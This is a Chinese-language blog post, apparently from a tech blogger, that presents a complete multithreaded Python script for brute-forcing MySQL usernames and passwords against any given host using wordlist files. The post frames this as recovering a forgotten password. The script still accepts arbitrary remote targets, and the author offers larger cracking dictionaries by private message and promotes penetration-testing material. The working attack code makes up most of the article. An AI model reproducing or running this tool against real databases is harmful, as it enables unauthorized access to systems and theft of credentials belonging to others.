天天看點

用Python寫了個工具,完美破解了MySQL!!(建議收藏)

大家好,我是冰河~~

最近有很多小夥伴問我:冰河,咋感覺你啥都會呀?Java、Python、大資料、分布式、微服務、系統架構、運維、滲透,請問你平時是怎麼學習的呢?我:個人覺得最好的學習方法就是,在平時的工作過程中,遇到問題多總結,注意積累解決問題的方案,及時查漏補缺,逐漸形成一套自己的方法論。

要知道,每項知識、技能的積累,需要的是日複一日的堅持,正所謂——持之以恒,貴在堅持,這樣才能做到每天進步一點點。

小夥伴們如果覺得文章不錯,點贊、收藏、評論,分享走一起呀,記得給冰河來個一鍵三連~~

進入主題

好了,進入今天的主題吧,今天下班回到家想登入下MySQL資料庫,不巧的是,忘記了MySQL資料庫的使用者和密碼了,怎麼辦?使用安全模式登入?我想這麼正常的方式應該大家都會吧!今天,就來點不一樣的吧,那就是使用Python寫個爆破MySQL的工具,看能不能爆破出MySQL的使用者和密碼。

小夥伴們如果覺得文章不錯,點贊、收藏、評論,分享走一起呀,記得給冰河來個一鍵三連~~

好了,咱們說幹就幹,開始吧。

用Python寫了個工具,完美破解了MySQL!!(建議收藏)

爆破腳本

這次編寫的爆破MySQL的Python腳本使用了Python中的多線程程式設計,并且導入了MySQLdb子產品。運作時,腳本分别接收如下五個參數:

  • 待破解的ip/domain:例如127.0.0.1
  • 端口:例如3306
  • 資料庫:例如test
  • 使用者名清單檔案:例如user.txt檔案
  • 密碼清單檔案:例如password.txt檔案

相對來說,還是比較簡單的,下面就給出完整的腳本代碼吧。

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2021/06/30
# Created by 冰河
# Description MySQL暴力破解工具多線程版
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool
 
try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb子產品導入錯誤,請到下面網址下載下傳:'
    print '[!] http://www.codegood.com/archives/129'
    exit()
 
 
def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL暴力破解工具多線程版'
    print '\t   微信公衆号:冰河技術'
    print '\t\t Code BY: 冰河'
    print '\t\t Time:2021-06-30'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 資料庫 使用者名清單 密碼清單"
        print "執行個體: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"
        sys.exit()
 
 
def mysql_brute(user, password):
    "mysql資料庫破解函數"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] 破解成功:', user, password
        result.append('使用者名:' + user + "\t密碼:" + password)
    except KeyboardInterrupt:
        print '已成功退出程式!'
        exit()
    except MySQLdb.Error, msg:
        print '程式出錯,錯誤資訊為:', msg
        pass
    finally:
        if db:
            db.close()
 
 
if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] 目  标:%s \n' % sys.argv[1]
    print '[+] 使用者名:%d 條\n' % len(userlist)
    print '[+] 密  碼:%d 條\n' % len(passlist)
    print '[!] 密碼破解中,請稍候……\n'
    result = []
 
    for user in userlist:
        partial_user = partial(mysql_brute, user)
        pool = ThreadPool(10)
        pool.map(partial_user, passlist)
        pool.close()
        pool.join()
    if len(result) != 0:
        print '[+] MySQL密碼破解成功!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] MySQL密碼破解失敗!\n'
    print '[+] 破解完成,用時: %d 秒' % (time.time() - start_time)
           

腳本編寫完成後,運作,等待了一段時間,将我的MySQL的使用者和密碼完美的破解出來了。

這裡需要注意的是:能不能破解出MySQL的使用者和密碼,那要看你的爆破字典是否足夠強大了,說直白點,就是你的user.txt檔案中的使用者和password.txt檔案中的密碼是否足夠齊全。

如果你想擷取一個相對來說比較強大的爆破密碼的字典檔案,可以加我微信:sun_shine_lyz私聊擷取。并且我自己也寫了一個根據輸入的位數生成密碼字典的程式,大家也可以私聊我擷取。

推薦書籍

這次,也給大家推薦一些關注滲透方面的書籍吧。

《冰河的滲透實戰筆記》

首先,就是我最近寫的這本《冰河的滲透實戰筆記》,一本很不錯的滲透實戰電子書,絕大部分來源于冰河多年的滲透實戰筆記。

下載下傳位址:https://download.csdn.net/download/l1028386804/18830348
用Python寫了個工具,完美破解了MySQL!!(建議收藏)

另外,再推薦兩本,我之前深入研究過的并且很不錯的書籍。

《IDA Pro代碼破解揭秘》

用Python寫了個工具,完美破解了MySQL!!(建議收藏)

《IDA Pro權威指南(第2版)》

用Python寫了個工具,完美破解了MySQL!!(建議收藏)

寫在最後

如果你想進大廠,想升職加薪,或者對自己現有的工作比較迷茫,都可以私信我交流,希望我的一些經曆能夠幫助到大家~~

推薦閱讀:

  • 《全網最全性能優化總結!!(冰河吐血整理,建議收藏)》
  • 《三天撸完了MyBatis,各位随便問!!(冰河吐血整理,建議收藏)》
  • 《奉勸那些剛參加工作的學弟學妹們:要想進大廠,這些核心技能是你必須要掌握的!完整學習路線!!(建議收藏)》
  • 《奉勸那些剛參加工作的學弟學妹們:這些計算機與作業系統基礎知識越早知道越好!萬字長文太頂了!!(建議收藏)》
  • 《我用三天時間開發了一款老少皆宜的國民級遊戲,支援播放音樂,現開放完整源代碼和注釋(建議收藏)!!》
  • 《我是全網最硬核的高并發程式設計作者,CSDN最值得關注的部落客,大家同意嗎?(建議收藏)》
  • 《畢業五年,從月薪3000到年薪百萬,我掌握了哪些核心技能?(建議收藏)》
  • 《我入侵了隔壁妹子的Wifi,發現。。。(全程實戰幹貨,建議收藏)》
  • 《千萬不要輕易嘗試“熊貓燒香”,這不,我後悔了!》
  • 《清明節偷偷訓練“熊貓燒香”,結果我的電腦為熊貓“獻身了”!》
  • 《7.3萬字肝爆Java8新特性,我不信你能看完!(建議收藏)》
  • 《在業務高峰期拔掉伺服器電源是一種怎樣的體驗?》
  • 《全網最全Linux指令總結!!(史上最全,建議收藏)》

好了,今天就到這兒吧,小夥伴們點贊、收藏、評論,一鍵三連走起呀,我是冰河,我們下期見~~

用Python寫了個工具,完美破解了MySQL!!(建議收藏)